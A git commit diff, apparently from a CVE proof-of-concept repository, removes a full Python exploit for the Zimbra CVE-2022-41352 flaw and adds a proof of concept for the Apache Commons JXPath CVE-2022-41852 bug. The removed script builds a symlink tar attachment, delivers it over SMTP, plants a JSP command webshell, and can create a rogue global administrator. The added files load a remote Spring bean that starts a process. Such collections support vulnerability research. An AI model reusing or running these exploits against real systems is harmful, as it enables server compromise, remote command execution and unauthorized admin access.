添加CVE-2022-41852
This commit is contained in:
parent
3d43eec679
commit
a6e23d52d1
|
@ -1,236 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import smtplib
|
||||
import argparse
|
||||
from time import sleep
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.application import MIMEApplication
|
||||
from email.mime.text import MIMEText
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# CONFIGURATION
|
||||
#----------------------------------
|
||||
TARGET = 'mail.test.org'
|
||||
WEBSHELL_PATH = '/public/jsp'
|
||||
WEBSHELL_NAME = 'Startup1_3.jsp'
|
||||
ATTACHMENT = 'payload.tar'
|
||||
SENDER = 'test@test.org'
|
||||
RECIPIENT = 'admin@test.org'
|
||||
|
||||
EMAIL_SUBJECT = 'CVE-2022-41352'
|
||||
EMAIL_BODY = '<b>Just testing.</b><br><p>Don\'t mind me.</p>'
|
||||
#----------------------------------
|
||||
|
||||
# Only change this if zimbra was not installed in the default location
|
||||
UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra'
|
||||
|
||||
|
||||
def create_tar_payload(payload, payload_name, payload_path, lnk='startup'):
|
||||
# Block 1
|
||||
link = lnk.encode()
|
||||
mode = b'0000777\x00' # link permissions
|
||||
ouid = b'0001745\x00' # octal uid (997)
|
||||
ogid = b'0001745\x00' # octal gid
|
||||
lnsz = b'00000000000\x00' # file size (link = 0)
|
||||
lmod = b'14227770134\x00' # last modified (octal unix)
|
||||
csum = b' ' # checksum = 8 blanks
|
||||
type = b'2' # type (link = 2)
|
||||
targ = payload_path.encode() # link target
|
||||
magi = b'ustar \x00' # ustar magic bytes + version
|
||||
ownu = b'zimbra' # user owner
|
||||
owng = b'zimbra' # group owner
|
||||
vers = b'\x00'*8 + b'\x00'* 8 # device major and minor
|
||||
pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100)
|
||||
|
||||
raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod
|
||||
raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
|
||||
# calculate and insert checksum
|
||||
csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:]
|
||||
raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2
|
||||
# pad block to 512
|
||||
raw_b1 += b'\00'*(512-len(raw_b1))
|
||||
|
||||
# Block 2
|
||||
mode = b'0000644\x00' # file permissions
|
||||
file = f'{lnk}/{payload_name}'.encode()
|
||||
flsz = oct(len(payload))[2:] # file size
|
||||
csum = b' ' # checksum = 8 blanks
|
||||
type = b'0' # type (file = 0)
|
||||
targ = b'\x00'*100 # link target = none
|
||||
|
||||
raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod
|
||||
raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
|
||||
# calculate and insert checksum
|
||||
csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:]
|
||||
raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2
|
||||
# pad block to 512
|
||||
raw_b2 += b'\00'*(512-len(raw_b2))
|
||||
|
||||
|
||||
# Assemble
|
||||
raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512))
|
||||
raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks
|
||||
|
||||
return raw_tar
|
||||
|
||||
# Update this if you want to use a legit email account for sending the payload
|
||||
def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name):
|
||||
msg = MIMEMultipart()
|
||||
msg['Subject'] = subject
|
||||
msg['From'] = sender
|
||||
msg['To'] = recipient
|
||||
|
||||
message = MIMEText(body, 'html')
|
||||
msg.attach(message)
|
||||
|
||||
att = MIMEApplication(attachment)
|
||||
att.add_header('Content-Disposition', 'attachment', filename=attachment_name)
|
||||
msg.attach(att)
|
||||
|
||||
try:
|
||||
print(f'>>> Sending payload')
|
||||
smtp_server = smtplib.SMTP(target,25)
|
||||
smtp_server.sendmail(sender, recipient, msg.as_string())
|
||||
print(f'>>> Payload delivered')
|
||||
except Exception as e:
|
||||
print(f'[!] Failed to send the mail: {e}')
|
||||
sys.exit(1)
|
||||
|
||||
def verify_upload(target, shell, path):
|
||||
print(f'>>> Verifying upload to {path}/{shell} ...')
|
||||
sleep(5) # give the server time to process the email
|
||||
resp = requests.get(f'https://{target}{path}/{shell}', verify=False)
|
||||
if resp.status_code == 200:
|
||||
print(f'>>> [PWNED] Upload successful!')
|
||||
else:
|
||||
print(f'>>> Upload unsuccesful :(')
|
||||
sys.exit(1)
|
||||
|
||||
def create_new_zimbra_admin(target, shell, path):
|
||||
url = f'https://{target}'
|
||||
pw = 'Pwn1ng_Z1mbra_!s_fun'
|
||||
print(f'>>> Adding a new global administrator')
|
||||
if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'):
|
||||
sys.exit(0)
|
||||
admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ')
|
||||
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False)
|
||||
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False)
|
||||
|
||||
print(f'>>> Login to {url}:7071/zimbraAdmin/ with:')
|
||||
print(f'>>> Email : {admin}')
|
||||
print(f'>>> Password : {pw}')
|
||||
|
||||
|
||||
def main(args):
|
||||
global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY
|
||||
|
||||
# Kali JSP WebShell
|
||||
payload = b'<FORM METHOD=GET ACTION="'
|
||||
payload += WEBSHELL_NAME.encode()
|
||||
payload += b'"><INPUT name="task" type=text><INPUT type=submit value="Run"></FORM><%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %><pre><%=output %></pre>'
|
||||
|
||||
# Using this instead of argparse default values to allow easy manual configuration as well
|
||||
if args.payload:
|
||||
try:
|
||||
with open(args.payload, 'rb') as f:
|
||||
payload = f.read()
|
||||
except Exception as e:
|
||||
print(f'Failed to read {args.payload}: {e}')
|
||||
sys.exit(1)
|
||||
print(f'>>> Using custom payload from: {args.payload}')
|
||||
else:
|
||||
print(f'>>> Using default payload: JSP Webshell')
|
||||
if args.path:
|
||||
WEBSHELL_PATH = args.path
|
||||
if args.file:
|
||||
WEBSHELL_NAME = args.file
|
||||
if args.attach:
|
||||
ATTACHMENT = args.attach
|
||||
|
||||
tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH)
|
||||
|
||||
print(f'>>> Assembled payload attachment: {ATTACHMENT}')
|
||||
print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}')
|
||||
if args.mode == 'manual':
|
||||
with open(ATTACHMENT, 'wb') as f:
|
||||
f.write(tar)
|
||||
print(f'>>> Attachment saved locally.')
|
||||
sys.exit(0)
|
||||
|
||||
if args.target:
|
||||
TARGET = args.target
|
||||
|
||||
print(f'>>> Targeting {TARGET}')
|
||||
|
||||
if args.sender:
|
||||
SENDER = args.sender
|
||||
if args.recip:
|
||||
RECIPIENT = args.recip
|
||||
if args.subject:
|
||||
EMAIL_SUBJECT = args.subject
|
||||
if args.body:
|
||||
try:
|
||||
with open(args.body, 'rb') as f:
|
||||
EMAIL_BODY = f.read().decode()
|
||||
except Exception as e:
|
||||
print(f'Failed to read {args.body}: {e}')
|
||||
sys.exit(1)
|
||||
print(f'>>> Using custom email body from: {args.body}')
|
||||
|
||||
|
||||
smtp_send_file( TARGET,
|
||||
SENDER,
|
||||
RECIPIENT,
|
||||
EMAIL_SUBJECT,
|
||||
EMAIL_BODY,
|
||||
tar,
|
||||
ATTACHMENT )
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
|
||||
|
||||
print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}')
|
||||
if args.mode == 'auto':
|
||||
sys.exit(0)
|
||||
|
||||
if args.payload:
|
||||
print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account')
|
||||
else:
|
||||
create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
|
||||
|
||||
sys.exit(0)
|
||||
|
||||
if __name__ == '__main__':
|
||||
epi = '''
|
||||
Alternatively, edit the script to change the default configuration.
|
||||
|
||||
The available modes are:
|
||||
|
||||
manual : Only create the payload - you have to deploy the payload yourself.
|
||||
auto : Create a webshell and deploy it via SMTP.
|
||||
fullpwn : After deploying a webshell, add a new global mail administrator.
|
||||
'''
|
||||
|
||||
p = argparse.ArgumentParser(
|
||||
description = 'CVE-2022-41352 Zimbra RCE',
|
||||
formatter_class = argparse.RawDescriptionHelpFormatter,
|
||||
epilog = epi
|
||||
)
|
||||
p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below')
|
||||
|
||||
p.add_argument('--target', required=False, metavar='<str>', dest='target', help=f'the target server (default: "{TARGET}")')
|
||||
p.add_argument('--payload', required=False, metavar='<file>', help='the file to save on the target (default: jsp webshell)')
|
||||
p.add_argument('--path', required=False, metavar='<str>', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")')
|
||||
p.add_argument('--file', required=False, metavar='<str>', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")')
|
||||
p.add_argument('--attach', required=False, metavar='<str>', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")')
|
||||
p.add_argument('--sender', required=False, metavar='<str>', help=f'sender mail address (default: "{SENDER}")')
|
||||
p.add_argument('--recip', required=False, metavar='<str>', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)')
|
||||
p.add_argument('--subject', required=False, metavar='<str>', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")')
|
||||
p.add_argument('--body', required=False, metavar='<file>', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")')
|
||||
|
||||
args = p.parse_args()
|
||||
|
||||
main(args)
|
|
@ -0,0 +1,7 @@
|
|||
# CVE-2022-41852
|
||||
|
||||
```
|
||||
python3 -m http.server 8080
|
||||
java CVE_2022_41852.java
|
||||
```
|
||||
导入pom.xml,同时在bean.xml目录下在8080端口创建web服务器后运行CVE_2022_41852.java,看到8080端口收到了请求,能够弹出计算器
|
|
@ -0,0 +1,13 @@
|
|||
import org.apache.commons.jxpath.JXPathContext;
|
||||
|
||||
public class CVE_2022_41852 {
|
||||
public static void main(String[] args) {
|
||||
try{
|
||||
JXPathContext context = JXPathContext.newContext(null);
|
||||
String key = (String) context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
|
||||
System.out.println(key);
|
||||
}catch (Exception exception){
|
||||
exception.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,16 @@
|
|||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:p="http://www.springframework.org/schema/p"
|
||||
xsi:schemaLocation="http://www.springframework.org/schema/beans
|
||||
http://www.springframework.org/schema/beans/spring-beans.xsd">
|
||||
<!-- 普通方式创建类-->
|
||||
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
|
||||
<constructor-arg>
|
||||
<list>
|
||||
<value>bash</value>
|
||||
<value>-c</value>
|
||||
<value>calc.exe</value>
|
||||
</list>
|
||||
</constructor-arg>
|
||||
</bean>
|
||||
</beans>
|
|
@ -0,0 +1,31 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<groupId>org.example</groupId>
|
||||
<artifactId>poc_cve_2022_41852</artifactId>
|
||||
<version>1.0-SNAPSHOT</version>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>8</maven.compiler.source>
|
||||
<maven.compiler.target>8</maven.compiler.target>
|
||||
</properties>
|
||||
|
||||
<dependencies>
|
||||
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-context-support</artifactId>
|
||||
<version>5.3.23</version>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
|
||||
<dependency>
|
||||
<groupId>commons-jxpath</groupId>
|
||||
<artifactId>commons-jxpath</artifactId>
|
||||
<version>1.3</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2022-41852
|
||||
source: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47061
|
||||
info:
|
||||
name: JXPath是apache公司提供的XPath的java实现,JXPath 提供了用于遍历 JavaBean、DOM 和其他类型的对象的图形的 API,同时提供了一套扩展机制使我们可以增加对这些对象之外的其他对象模型的支持(重点).
|
||||
severity: CRITICAL
|
||||
description:
|
||||
使用JXPath解释不受信任的XPath表达式的人可能容易受到远程代码执行攻击。处理XPath字符串的所有JXPathContext类函数都是易受攻击的,除了compile和compileath函数。XPath表达式可以被攻击者用来从类路径加载任何Java类,从而导致代码执行。
|
||||
scope-of-influence:
|
||||
Apache Commons JXpath <= 1.3
|
||||
reference:
|
||||
- https://blog.csdn.net/Xxy605/article/details/127303526
|
||||
classification:
|
||||
cvss-metrics: Google Inc. AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
|
||||
cve-id: CVE-2022-41852
|
||||
cwe-id: None
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: CVE-2022, Apache Commons Jxpath
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -46,6 +46,7 @@ cve:
|
|||
- CVE-2022-32532
|
||||
apache-Commons:
|
||||
- CVE-2022-33980
|
||||
- CVE-2022-41852
|
||||
influx-DB:
|
||||
- CVE-2019-20933
|
||||
linux-kernel:
|
||||
|
|
Loading…
Reference in New Issue